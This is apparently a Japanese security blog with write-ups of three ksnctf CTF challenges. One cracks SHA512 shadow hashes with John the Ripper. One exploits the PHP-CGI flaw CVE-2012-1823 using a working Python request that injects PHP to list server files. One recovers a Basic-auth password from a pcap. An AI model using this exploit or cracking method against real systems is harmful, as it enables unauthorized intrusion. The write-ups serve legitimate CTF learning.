ChogeLog

主にセキュリティ関係の記録やWrite-up。たまーに日記も。

#14 John

問題

ksnctf.sweetduet.info
文字列が列挙されているだけ。

解法

とりあえずこの文字列を眺めてると、最後の行にこんな文章が。

user99:$6$SHA512IsStrong$DictionaryIsHere.http//ksnctf.sweetduet.info/q/14/dicti0nary_8Th64ikELWEsZFrf.txt:15491:0:99999:7:::

ハッシュ関数である「SHA512」が関係することが分かる。また、その後の文章の通り、記述されているURLではテキスト形式の辞書を入手できる。
これ以上分からないので、とりあえず「SHA512」や「John」についてググる
その結果、SHA512でソルト付きパスワードを生成すると、先頭文字列が「$6$」になるらしい。そして、「John the Ripper」という有名なパスワードクラックツールがあるらしい。
以上のことから、問題の文字列は21人分のパスワードを「SHA512」でハッシュ化したもので、それを「John the Ripper」を使ってクラックすればいいと推測できる。

Kali LinuxにはデフォルトでJohnが入っているみたいなので、Kaliで解析していく。また、解析する際には先程入手した辞書を利用する。
コマンドはこんな感じ。

# john --wordlist==[辞書のファイル名] [解析するパスワードファイル名]

すると1つずつ解析結果が表示されていき、1分くらいで解析が終わる。

そして解析結果を見てみる。

# john --show [解析したパスワードファイル名]

解析したパスワードの先頭文字を順番に並べるとフラグをゲット!!

ちなみにこの問題は、シャドウファイルと呼ばれる、パスワードを暗号化して保存したファイルを想定していると思われる。Linuxの/etc/shadowに保存されているらしい。
例えハッシュ化されていても、パスワード自体が弱かったら簡単に突破されることが分かったな(´-`).。oO

#12 Hypertext Preprocessor

ひっさびさの更新!

問題

ksnctf.sweetduet.info

こういう数字だけが表示されています。

解法

とりあえずソースコードを見たけど特になし。
次に問題名の「Hypertext Preprocessor」を調べてみたら、PHPのことをいうらしい('Д')シラナカッタ
それでPHP関係かなと思いつつ、表示されてる数字の「2012:1823」をググったらCVE-2012-1823が引っかかった。
これはCGI版のPHP 5.4.2/5.3.12以前に存在する脆弱性で、URLパラメータにコマンドオプションを含めたらそれを実行しちゃうってヤツ。(この脆弱性を狙ったApache Magica攻撃というのがあるらしい)
実はこの脆弱性は後輩の研究で既に知ってて、早速URLに-sを追加してみたところ、ソースコードを確認できた。

コメントによると、フラグはこのディレクトリ内にあるとのこと。
ちなみに表示されてた数字は、CVE番号、時間、ランダム数値だと分かった。

ここから少し本格的に攻撃する必要があって、徳丸さんのサイトを参考にする。
https://blog.tokumaru.org/2012/05/php-cgi-remote-scripting-cve-2012-1823.html

それによると、この2つのコマンドを使えば任意のPHPコードを実行できるらしい。

  • allow_url_include=On
  • auto_prepend_file=php://input

そして次はPHPコードでフラグを探していく。
Fiddlerでやろうと奮闘したけど、リクエストヘッダの書き方が悪かったらしく?PHPコードが実行されない…。
ということで結局Python書いた(´Д`)

import requests

url = "http://ctfq.sweetduet.info:10080/~q12/"
query = "?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input"
payload = '''
 <?php
  foreach(glob('*') as $file){
    if(is_file($file)){
        echo "$file \n";
    }
  }
 ?>
'''
r = requests.post(url+query, data=payload)
html = r.text

print(html)

PHPの処理内容は、ディレクトリ内のファイルを一覧表示するもの。
その結果、flagがあると思われるファイルを発見。

そしてcatで中身を見てフラグゲット!!


元々知ってた脆弱性だったから、そんなに苦戦しなかったかな?
久々に解いて楽しかった(´∀`)

#8 Basic is secure?

問題

pcapファイルが配布されます。
ksnctf.sweetduet.info

解法

pcapなんで、とりあえずWiresharkで開いてみます。

HTTPパケットがあったので、HTTPでフィルタリングしてみます。

注目する点は1回目と2回目のリクエスト・レスポンスですねー
2回共同じURLにゲットリクエストをしていますが、1回目のレスポンスは401で、2回目は成功の200が返されてます。
で、成功レスポンスの方のボディ部を見てみると…

フラグはq8のパスワードですよーというヒントが(・ω・)

ちなみにこのURLにアクセスしようとすると…

アクセスするにはIDとパスワードが必要らしい。
認証に成功すると2個上の画像の内容が表示されるみたいですねー
問題名からしても、これはベーシック認証が使われてますね。
で、先程のHTTPパケットですが、1回目のアクセスは失敗して401が返されて、2回目のアクセス時には正しいIDとパスワードを入力して成功したわけですね。
なので、2回目のHTTPリクエスト内にフラグが隠されてるっぽい('ω')
早速見てみると…

青背景のところにIDとパスワードが記述されているのですが、Base64エンコードされてるので一見分からないですね。
なのでデコードしようと思ったのですが、Wiresharkって自動でデコードしてくれるみたい?笑

IDが「q8」で、パスワードにフラグを確認!
一応確認として、認証画面で入力してみると…

無事認証突破しました!
ベーシック認証は、通信を盗聴されると簡単にパスワードが漏れてしまうから危険だ、ということが分かりましたね(・ω・`)



個人的にはパケットを扱う問題が一番楽しいな(´∀`*)